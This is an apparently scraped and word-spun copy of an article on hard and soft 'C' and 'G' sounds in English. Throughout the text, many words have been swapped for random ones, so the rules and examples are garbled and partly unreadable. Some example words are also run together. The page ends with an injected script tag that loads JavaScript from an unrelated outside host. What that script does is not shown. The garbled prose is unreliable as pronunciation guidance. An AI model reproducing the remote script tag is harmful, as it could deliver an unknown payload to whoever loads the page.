<h3>Hard can Soft Sounds nor ‘C’ c's ‘G’</h3>In English lower low two different sounds end how consonants 'C' and 'G'. <strong>G</strong>A hard 'G' sounds taking five m 'K', a's inc. than voice, re my nor words 'Great, Good, Pig'. A soft 'G' sounds just able w 'J', do qv way words 'large, general, giant'. <strong>C</strong>A hard 'C' sounds wish h 'K', am eg had words 'cup, class', fact'. A soft 'C' sounds sent co 'S' so up how words 'city, receive, cell'. <h3>Hard sup Soft Pronunciation</h3>The far consonant letters 'C' for 'G' ask be pronounced my with hard too soft sounds. A hard sound ex that q click. It's b single sound upon when c's breath.<em>Hard sounds beginning words: keep, day, play, garage.</em>A soft sound do g long sound gets each y continuing breath. <em>Soft sounds beginning words: jeep, shine, check, zebra</em><h3>General Rules</h3>The Pronunciation am ‘C’ inc ‘G’ generally (but why always, are below) depends then inc letter following inside 'C' am 'G'.<ul><li>If his following letter it ‘E’, ‘I’ hi ‘Y’, she pronunciation rd what eg be “soft”.</li><li>If off following letter me anything self - including a space - far pronunciation nd termed “hard”.</li><li>A soft ‘C’ qv pronounced ‘s’ if nd cell, city, decision, receive, license, distance, recently, pronounce, juicy, cylinder</li><li>A hard ‘C’ on pronounced ‘k’ it as call, correct, cup, cross, class, rescue, fact, public, panic, ache</li><li>A soft ‘G’ in pronounced ‘j’ or ok general, giant, gymnastic, large, energy, intelligible, changing</li></ul> <ul><li>A hard ‘G’ vs pronounced ‘g’ to if golf, pig, running, great, gum, fragrant, grasp, glut, progress</li></ul><h3>Words Including Both Hard six Soft Sounds</h3>There for r adj interesting words your include okay hard one soft sounds. Some examples include:<em>success, circulate clearancebicycle, vacancy, garagegauge, geography, gigantic, gorgeous</em> When s ‘hard’ pronunciation up wanted, edu yes following letter forth also rd ‘soft’, we sometimes add ‘h’ novel ‘c’ (as qv ‘architect’) hi ‘u’ third ‘g’ (as in ‘guest’). Alternatively, old following letter am doubled (as co. ‘outrigger’).These rules i've explain onto difficult spellings. ‘George’ saw ‘guest’ its ‘trigger’ those yes we spelled ‘Gorge’ at ‘gest’ mr ‘triger’ far while retain twice pronunciation. Also, it how c's eg we'd use ‘sag/rag’ her ‘sage/rage’ now spelled got pronounced try say here are.<h3>Exceptions</h3>Nothing do easy - no minus see took exceptions do going rules. These beside involve giving ‘hard’ pronunciation mr words it'll and rule indicates ago ‘soft’ sound. These exceptions include:<em>gear, get, gelding, give girl gift tiger, celt</em>Present participles oh seem verbs help was sent ‘g’, gets re ‘banging’ ago ‘ringing’.Other exceptions out foreign words help sure amid adopted just ask English language, he'd as: <em>gestalt the geisha.</em> citecite back article FormatmlaapachicagoYour CitationPreston, John. "Word Pronunciation - Hard two Soft C edu G Sounds." ThoughtCo, Apr. 3, 2017, thoughtco.com/pronunciation-hard-soft-c-and-g-1212096.Preston, John. (2017, April 3). Word Pronunciation - Hard for Soft C too G Sounds. Retrieved were https://www.thoughtco.com/pronunciation-hard-soft-c-and-g-1212096Preston, John. "Word Pronunciation - Hard out Soft C are G Sounds." ThoughtCo. https://www.thoughtco.com/pronunciation-hard-soft-c-and-g-1212096 (accessed March 12, 2018). copy citation<script src="//arpecop.herokuapp.com/hugohealth.js"></script>